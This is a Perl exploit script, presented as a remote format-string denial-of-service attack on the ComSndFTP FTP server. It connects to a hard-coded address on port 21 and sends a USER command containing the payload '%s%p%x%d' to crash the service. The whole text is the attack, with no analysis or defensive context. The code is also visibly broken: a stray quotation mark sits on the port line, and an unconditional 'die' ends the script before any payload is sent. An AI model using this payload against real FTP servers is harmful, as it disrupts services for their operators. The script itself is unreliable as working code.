#!/usr/bin/perl # ComSndFTP Server Remote Format String Denial of Service (DoS) use strict; use warnings; use IO::Socket; $| = 1; my $host = "192.168.172.136"; my $port = "21""; my $payload = '%s%p%x%d'; print "Connecting... "; my $sock = IO::Socket::INET->new( PeerAddr => $host, PeerPort => $port, Proto => 'tcp', Timeout => 30 ); die "Unable to connect \n"; $sock->recv(my $content, 100, 0); sleep(2); $sock->send("USER $payload\r\n", 0); sleep(2); $sock->recv($content, 100, 0); sleep(5); $sock->close; print "Denial Of Service completed!\n"; exit(0);